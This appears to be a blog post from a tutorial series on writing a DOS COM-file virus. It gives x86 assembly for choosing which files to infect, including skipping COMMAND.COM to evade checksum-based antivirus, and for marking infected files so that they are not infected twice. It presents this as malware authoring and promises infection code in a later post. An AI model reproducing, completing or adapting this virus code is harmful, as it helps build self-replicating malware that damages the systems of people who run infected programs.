Checking and Criteria of Infection

Sorry for not updating here lately but now I will continue what I promised for.

Your virus should be judicious in its infection. For example, you might not want to infect COMMAND.COM, since some programs (i.e. the puny FluShot+) check its CRC or checksum on runtime. Perhaps you do not wish to infect the first valid file in the directory. Ambulance Car is an example of such a virus. Regardless, if there is some infection criteria, you should check for it now. Here's example code checking if the last two letters are 'ND', a simple check for COMMAND.COM:

cmp word ptr [bp+offset DTA+35], 'DN' ; Reverse word order
jz fail_check

Every virus has certain characteristics with which you can identify whether
a file is infected already. For example, a certain piece of code may
always occur in a predictable place. Or perhaps the JMP instruction is
always coded in the same manner. Regardless, you should make sure your
virus has a marker so that multiple infections of the same file do not
occur. Here's an example of one such check (for a COM file infector):

mov ah,3Fh ; Read first three
mov cx, 3 ; bytes of the file
lea dx, [bp+offset buffer] ; to the buffer
int 21h

mov ax, 4202h ; SEEK from EOF
xor cx, cx ; DX:CX = offset
xor dx, dx ; Returns filesize
int 21h ; in DX:AX

sub ax, virus_size + 3
cmp word ptr [bp+offset buffer+1], ax
jnz infect_it

bomb_out:
mov ah, 3Eh ; else close the file
int 21h ; and go find another

In this example, BX is assumed to hold a file handle to the program to be
checked for infection and virus_size equals the size of the virus. Buffer
is assumed to be a three-byte area of empty space. This code fragment
reads the first three bytes into buffer and then compares the JMP location
(located in the word beginning at buffer+1) to the filesize If the JMP
points to virus_size bytes before the EOF, then the file is already
infected with this virus. Another method would be to search at a certain
location in the file for a marker byte or word. For example:

mov ah, 3Fh ; Read the first four
mov cx, 4 ; bytes of the file into
lea dx, [bp+offset buffer] ; the buffer.
int 21h

cmp byte ptr [buffer+3], infection_id_byte ; Check the fourth
jz bomb_out ; byte for the marker
infect_it:

Here you should create your own malicious code to infect the checked file. Stay tune here cause I'll post some example of code to infect a file in the next post.